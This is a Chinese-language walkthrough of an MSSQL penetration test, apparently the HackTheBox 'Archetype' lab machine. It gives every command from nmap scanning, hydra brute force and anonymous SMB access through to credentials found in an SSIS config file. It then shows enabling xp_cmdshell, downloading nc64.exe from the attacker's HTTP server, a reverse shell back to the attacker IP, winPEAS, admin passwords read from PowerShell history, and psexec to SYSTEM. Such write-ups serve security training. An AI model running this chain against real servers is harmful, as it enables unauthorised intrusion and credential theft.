MSSQL渗透测试

目录

拿到目标的IP地址,我们先对IP地址进行信息收集,收集信息资产,同时使用nmap对IP地址进行扫描

bash 复制代码
nmap -sC -sV IP

从扫描的结果中,我们能知道目标服务器是windows操作系统,使用的是mssql数据库,数据库端口对外开放,我们先对1433端口进行爆破

bash 复制代码
hydra -L /root/user.txt -P /root/pass.txt ip mssql -vv

没有扫描出账号密码,看一下其它的端口有没有可以利用的地方

这个135端口是高危端口,我们去网上搜索一下相关利用资料,发现这个端口在之前涉及到一个冲击波病毒,这个端口有登录点,可以进行爆破,我这里使用NTscan进行爆破,没有跑出来

https://zhuanlan.zhihu.com/p/56059871

RPC协议提供DCOM服务,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输

下面的两个139和445端口试了,也没有什么突破,我们看到1433端口,有用到smb协议,我们尝试一下

bash 复制代码
smbclient -N -L IP

查看smb文件成功,smb协议是一种网络通信协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源

我们这里是使用空口令进行登录并且查看smb文件,说明这个地方存在空口令漏洞

接下来,我们一个个查看smb文件,看看有没有什么敏感的信息泄露

bash 复制代码
smbclient \\\\IP\\查看的文件名

权限不够,加$的目录需要管理员权限,看来我们的账号有点不太行,看一下backups的

prod.dtsConfig好像是一个配置文件,我们把它下载下来看一下

bash 复制代码
get prod.dtsConfig

这个配置文件是MSSQL中SSIS的XML格式配置文件,里面应该会有我们想要的信息

在这里,我们找到了mssql数据库的账号密码,那我们现在就去连接目标的mssql服务器

mssql数据库连接

使用Impacket工具中的mssqlclient.py脚本去连接,进入/root/impacket/examples/目录,然后使用mssqlclient.py脚本去连接就可以了

bash 复制代码
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth

输入上面获得的密码,连接成功,获取

-windows-auth :使用 Windows 身份验证

我们接下来就是进行提权,我们需要判断sql_svc是不是管理员账号,权限够不够大

bash 复制代码
help

我们看到这里有xp_cmdshell功能,我们接着判断一下sql_svc是不是管理员账号

bash 复制代码
select is_srvrolemember('sysadmin');

返回1,说明是mssql的最高权限,sa,那我们就不需要提权了,我们试一下能不能执行命令

bash 复制代码
EXEC xp_cmdshell "net user";

返回error,说明xp_cmdshell功能不能使用,命令无法执行,我们使用以下命令组开启xp_cmdshell功能

bash 复制代码
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE


bash 复制代码
xp_cmdshell "whoami"

确认命令能够执行,但是在数据库当中不好操作,所以我们接下来就要反弹shell

我们将上传nc.exe到目标服务器上,先开启HTTP服务器、nc侦听器

bash 复制代码
python3 -m http.server  80
bash 复制代码
nc -nvlp 1234

在目标数据库中查看当前目录

bash 复制代码
exec xp_cmdshell "powershell -c pwd";

路径在C:\Windows\system32,这个可不好操作,因为我们只是数据库的最高权限,是无法修改系统的目录,这个时候,我们要改变上传的目录,我进行了目录枚举,失败了,根本移动不了,从网上找了一个默认的上传目录

C:\Users\sql_svc\Downloads,切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe

bash 复制代码
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"  


nc上传成功,nc反弹shell

bash 复制代码
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"


反弹shell成功,拿到目标数据库的权限

我们后续的命令在nc上面敲就好了,拿到数据库的权限,我们还要进一步提权,获取服务器的权限,以便于我们后续的信息收集

提权至服务器权限

在提权这里我使用的是winpeas,它可以帮我们寻找可以提权的方式

直接在nc界面输命令,先进入powershell界面

bash 复制代码
powershell

然后把winpeas.exe给下载进去

bash 复制代码
wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe


直接执行winpeas.exe这个工具就可以了,这个工具重点的东西,它会标红进行显示

bash 复制代码
.\winpeas.exe


看到这里,我知道这台服务器之前登录过两个账号,其中还有一个是管理员账号

ConsoleHost_history.txt是windows系统的powershell历史记录文件,我们去看看

bash 复制代码
cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ls
type ConsoleHost_history.txt

我们直接看到了账号密码

winpeas不仅是一个提权的工具,它还能很好的收集服务器的信息,可以当作信息收集工具来使用,从它收集来的信息来看,这个目标没有内网

https://cloud.tencent.com/developer/article/2149150

我们得到了服务器管理员的账号密码,那我们现在就去连接一下,使用Impacket 套件中的psexec.py去连接

bash 复制代码
python3 psexec.py administrator@目标IP
whoami

成功获取服务器的system权限,因为没有内网就到这里了

相关推荐
vvvae12348 小时前
分布式数据库
数据库
雪域迷影8 小时前
PostgreSQL Docker Error – 5432: 地址已被占用
数据库·docker·postgresql
bug菌¹9 小时前
滚雪球学Oracle[4.2讲]:PL/SQL基础语法
数据库·oracle
逸巽散人9 小时前
SQL基础教程
数据库·sql·oracle
月空MoonSky9 小时前
Oracle中TRUNC()函数详解
数据库·sql·oracle
momo小菜pa9 小时前
【MySQL 06】表的增删查改
数据库·mysql
向上的车轮10 小时前
Django学习笔记二:数据库操作详解
数据库·django
编程老船长10 小时前
第26章 Java操作Mongodb实现数据持久化
数据库·后端·mongodb
全栈师11 小时前
SQL Server中关于个性化需求批量删除表的做法
数据库·oracle
Data 31711 小时前
Hive数仓操作(十七)
大数据·数据库·数据仓库·hive·hadoop